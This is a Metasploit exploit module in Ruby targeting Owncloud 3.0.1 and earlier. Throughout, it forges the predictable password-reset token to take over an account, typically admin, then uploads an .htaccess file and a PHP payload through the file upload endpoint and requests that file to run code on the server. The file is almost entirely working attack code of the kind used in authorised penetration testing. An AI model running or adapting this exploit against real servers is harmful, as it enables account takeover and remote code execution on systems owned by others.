##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Owncloud Account Overtake, File Upload Code Execution',
			'Description'    => %q{
				This module exploits several vulnerabilities in Owncloud 3.0.1 and earlier in order to achieve code execution.
			},
			'Author'         => [ 'Lukas Kupczyk luks[at]sploit.de' ],
			'License'        => MSF_LICENSE,
			'Version'        => '',
			'References'     =>
				[
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'Space' => 8000
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => '',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI', [true, "Owncloud directory path", "/owncloud"]),
				OptString.new('USERNAME', [true, "The username to authenticate as", "admin"]),
				OptString.new('PASSWORD', [true, "New password", "metasploit"]),
			], self.class)
	end

	def password_reset
		res = send_request_cgi({
			'uri'    => "#{datastore['URI']}/core/lostpassword/index.php",
			'method' => 'POST',
			'data'   => 'user=' + datastore['USERNAME'],
		})

		if res.body =~ /Requested/
			print_status("Triggered password reset")
		else
			raise RuntimeError, "Error: could not trigger password reset, does the user #{datastore['USERNAME']} exist?"
		end
	end

	def set_new_password(token)
		res = send_request_cgi({
			'uri'    => "#{datastore['URI']}/core/lostpassword/resetpassword.php?user=#{datastore['USERNAME']}&token=#{token}",
			'method' => 'POST',
			'data'   => "password=#{datastore['PASSWORD']}"
		})

		if res.body =~ /Your password was reset/
			print_status("New password set")
		else
			raise RuntimeError, "Error: Could not set new password"
		end
	end

	def gen_token
		require 'digest/sha1'
		uniqid = Time.now.to_i.to_s(16)
		Digest::SHA1.hexdigest((datastore['USERNAME'].to_i + uniqid.to_i).to_s)
	end

	def login
		res = send_request_cgi({
			'uri'    => "#{datastore['URI']}/index.php",
			'method' => 'POST',
			'data'   => "user=#{datastore['USERNAME']}&password=#{datastore['PASSWORD']}",
		})

		if not res["Set-Cookie"]
			raise RuntimeError, "Error: Login failed"
		else
			print_status("Logged in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
			return res["Set-Cookie"]
		end
	end

	def upload(cookie, cmdscript)
		boundary = rand_text_alphanumeric(6)

		data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"
		data << ".htaccess\r\n--#{boundary}"
		data << "\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\".htaccess\"\r\n"
		data << "Content-Type: application/octet-stream\r\n\r\n"
		data << "allow from all"
		data << "\r\n--#{boundary}--"

		print_status("Uploading .htaccess")
		res = send_request_raw({
			'uri'     => "#{datastore['URI']}/files/ajax/upload.php",
			'method'  => 'POST',
			'data'    => data,
			'cookie'  => cookie,
			'headers' =>
			{
				'Content-Length' => data.length,
				'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
			}
		})

		if res.code != 200
			print_error("Server returned non-200 status code (#{res.code})")
		end

		cmd_php = '<?php ' + payload.encoded + '?>'

		data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"
		data << "#{cmdscript}.php\r\n--#{boundary}"
		data << "\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"#{cmdscript}.php\"\r\n"
		data << "Content-Type: application/octet-stream\r\n\r\n"
		data << cmd_php
		data << "\r\n--#{boundary}--"

		print_status("Uploading payload")
		res = send_request_raw({
			'uri'     => "#{datastore['URI']}/files/ajax/upload.php",
			'method'  => 'POST',
			'data'    => data,
			'cookie'  => cookie,
			'headers' =>
			{
				'Content-Length' => data.length,
				'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
			}
		})

		if res.code != 200
			print_error("Server returned non-200 status code (#{res.code})")
		end
	end

	def exploit
		token = gen_token()
		print_status("Generated token: #{token}")

		password_reset()

		set_new_password(token)

		cookie = login()

		cmdscript = rand_text_alpha_lower(20)
		upload(cookie, cmdscript)

		# execute our payload
		res = send_request_raw({
			'uri' => "#{datastore['URI']}/data/#{datastore['USERNAME']}/files/#{cmdscript}.php",
		})

		handler
	end

end